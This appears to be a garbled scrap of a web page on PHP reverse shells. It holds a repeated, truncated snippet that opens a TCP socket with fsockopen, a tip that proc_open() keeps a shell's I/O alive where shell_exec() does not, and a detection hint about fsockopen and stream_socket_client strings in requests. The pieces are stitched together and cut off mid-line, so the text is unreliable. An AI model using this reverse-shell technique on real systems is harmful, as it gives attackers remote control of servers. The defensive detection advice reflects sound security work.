// Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) die("$errstr ($errno)<br />\n");
Look for HTTP requests containing base64-encoded payloads or long strings with fsockopen , stream_socket_client , etc. Reverse Shell Php
The blind shell_exec() will fail if the shell dies. A better version uses proc_open() for persistent I/O: // Create a TCP socket $sock = fsockopen($ip,